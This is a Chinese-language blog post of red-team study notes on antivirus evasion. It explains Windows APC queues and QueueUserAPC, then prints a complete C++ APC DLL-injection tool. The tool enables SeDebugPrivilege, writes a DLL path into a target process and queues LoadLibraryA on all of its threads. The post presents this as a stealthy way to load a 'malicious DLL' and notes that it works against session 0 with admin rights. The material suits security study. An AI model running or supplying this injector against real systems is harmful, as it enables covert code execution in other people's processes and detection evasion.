参考:APC异步过程调用-CSDN博客
又是跟着红队蓝军师傅学免杀的一天,这节课介绍了APC机制和APC注入的实现。
APC介绍:
APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在 操作系统中,APC是一种并发机制。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数, APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。
当用户模式 APC 排队时,它排队的线程不会被定向到调用 APC 函数,除非它处于可警告状态。线 程在调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、 WaitForMultipleObjectsEx或WaitForSingleObjectEx函数时进入可警告状态。如果在 APC 排队之 前等待满足,则线程不再处于可警告等待状态,因此不会执行 APC 函数。但是,APC 仍在排队, 因此当线程调用另一个可警告的等待函数时,APC 函数将被执行。
主要函数:QueueUserAPC
QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函 数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含 THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果 QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。
函数结构
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);
APC的本质
线程是不能被杀掉、挂起、恢复的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢? 举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU。所以说线 程如果想死,一定是自己执行代码把自己杀死,不存在他杀这种情况。那如果想改变一个线程的行为该 怎么办呢?可以给他提供一个函数,让它自己去调用,这个函数就是APC(Asyncroneus Procedure Call),即异步过程调用。
简单实现
简单实现APC队列的插入,在3环调用 QueueUserAPC(在0环和在3环调用是有些区别的,实际的函数实现是在0环所以如果在3环调用实际是从0环到3环来找APC队列中APC加载,而如果在0环就不用这么麻烦。)
// APCtest1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>DWORD WINAPI MyThread(LPVOID)
{int i = 0;while (true){SleepEx(300, TRUE); //这里就启用了APCprintf("%d\n", i++);}
}void __stdcall MyApcFunction(LPVOID) //等待回调的函数
{printf("Run APCFuntion\n");printf("APCFunction done\n");
}int main(int argc, char* argv[])
{HANDLE hThread = CreateThread(0, 0, MyThread, 0, 0, 0);//创建一个线程Sleep(1000);//等待前面的子线程被创建后再插入APC队列if (!QueueUserAPC((PAPCFUNC)MyApcFunction, hThread, NULL))//QueueUserAPC返回值是0、1.回调了MyApcFunction{printf("QueueUserAPC error : %d\n", GetLastError());}getchar(); //一个用来接受键盘输入的函数,在这里是为了卡着保持主线程一直在运行,只有主线程在运行子线程才能运行return 0;
}
运行的结果
看着其实就和在主函数中调用了一次回调函数一样,但是实际上回调函数是由创建的子线程调用的不是主线程。(说调用可能也不准确,切换为APC来执行APC队列的内容)
APC注入实现
在 Windows系统中,每个线程都会维护一个线程 APC队列,通过 QucueUserAPC 把一个APC 函数添加到 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在 可警告状态时才会执行这些APC 函数。一个线程在内部使用 SignalObjectAndWait 、 SleepEx 、 WaitForSingleObjectEx 、 WaitForMultipleObjectsEx 等函数把自己挂起时就是进入可警告状态, 此时便会执行APC队列函数
步骤
1.当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断 (或者是Messagebox弹窗的时候不点OK的时候也能注入)
2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插 入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的
每一个进程的每一个线程都有自己的APC队列,我们可以使用QueueUserAPC函数把一个APC函数压入 APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而 是要等到线程处于可通知状态(alertable)才会执行,即只有当一个线程内部调用 SleepEx 等上面说到的 几个特定函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出 (FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般 不存在挂起状态,所以APC注入对于这类程序没有明显效果
其实就是一种骚姿势进行的DLL注入,而且动静比之前的小,又已经在运行的线程来回调插入到APC队列中的恶意DLL。
流程
1. OpenProcess 打开进程
2. VirtualAlloc 申请空间
3. WriteProcessMemory 写入dll信息
4.根据进程对应的线程id打开线程
5.使用 QueueUserApc 插入执行
此处代码编码方式使用ASCII码
其中的关键代码为遍历线程快照并且对每个属于指定PID的进程的线程进行APC插入。
完整代码:
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>// 提权函数
BOOL EnableDebugPrivilege()
{HANDLE hToken; //用于存储当前进程的访问令牌句柄。BOOL fok = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))//打开当前进程的访问令牌,允许调整权限。{TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1; //设置为 1,表示我们只要调整一个权限。LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);//SE_DEBUG_NAME 是一个定义在 Windows 头文件中的常量,其值为 "SeDebugPrivilege"。获取“调试程序”权限的 LUID,并将该 LUID 存储在 tp.Privileges[0].Luid 中。tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启用该调试权限。AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);//调整访问令牌的权限。fok = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fok;
}BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {EnableDebugPrivilege();//打开进程,获取进程句柄HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (hProcess == NULL){printf("OpenProcess error!\n", GetLastError());return FALSE;}//向目标进程申请空间写入dll全路径int nSize = strlen(pszDllName);LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,PAGE_READWRITE);if (pDllAddr == NULL){printf("VirtualAllocEx error!:%d\n", GetLastError());return FALSE;}SIZE_T dwWrittenSize = 0;
BOOL Write=WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
if (Write == 0){printf("WriteProcessMemory error!:%d\n", GetLastError());return FALSE;}//获取LoadLibraryA的地址HMODULE hMod = GetModuleHandleA("kernel32.dll");FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");//拿到LoadLibraryA后面用来注入DLL用。//以上步骤和之前的注入流程基本一致,只有下面这里的注入方式使用了APC队列的方式进行的//创建线程快照THREADENTRY32 te = { 0 };//声明了一个 THREADENTRY32 结构体变量 te 并初始化为 0。用来存储线程的相关信息te.dwSize = sizeof(te);//设置 THREADENTRY32 结构体的大小HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);//创建一个线程快照,TH32CS_SNAPTHREAD 指定了快照类型为线程快照。if (hSnap == INVALID_HANDLE_VALUE) {printf("CreateToolhelp32Snapshot error!:%d\n", GetLastError());return FALSE;}DWORD dwRet = 0;HANDLE hThread = NULL;if (Thread32First(hSnap, &te)) {//使用 Thread32First 函数获取快照中的第一个线程信息。do {if (te.th32OwnerProcessID == dwPid) { //检查当前线程是否属于目标进程 ID (dwPid)。hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); //如果线程属于目标进程,则打开该线程的句柄,以便可以向它排队 APCif (hThread) {dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,(ULONG_PTR)pDllAddr); //如果成功获取了线程句柄,使用 QueueUserAPC 函数向该线程排队一个 APC。也就是在这一步进行DLL注入。//参数解读// (PAPCFUNC)pFuncAddr:这是一个指向函数的指针,该函数是将要执行的 APC 函数。PAPCFUNC 是一个函数指针类型,指向的函数必须符合特定的签名,即没有返回值,并且接受一个 ULONG_PTR 类型的参数。 //hThread:这是一个线程句柄,标识了将要接收 APC 的线程。//(ULONG_PTR)pDllAddr:这是传递给 APC 函数的参数。即指向保存在进程内存中dll内容hThread = NULL;}}} while (Thread32Next(hSnap, &te)); //使用 Thread32Next 函数遍历快照中的所有线程}//这里是对指定进程中出现的所有线程都进行APC插入,每个线程都有自己的APC队列不是共用的。所以应该一个进程中可能注入了多个线程。CloseHandle(hThread);CloseHandle(hProcess);CloseHandle(hSnap);return TRUE;
}int main(int argc, char* argv[])
{if (argc == 3){if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2]))printf("APCInject failed\n");elseprintf("APCInject successfully\n");}else{printf("\n");printf("Usage: %s PID <DllPath>\n", argv[0]);printf("Example: %s 520 C:\\test.dll\n", argv[0]);exit(1);}return 0;
}
注入验证:
同样这种方法也可以注入session 0 不过同样需要使用管理员的权限去运行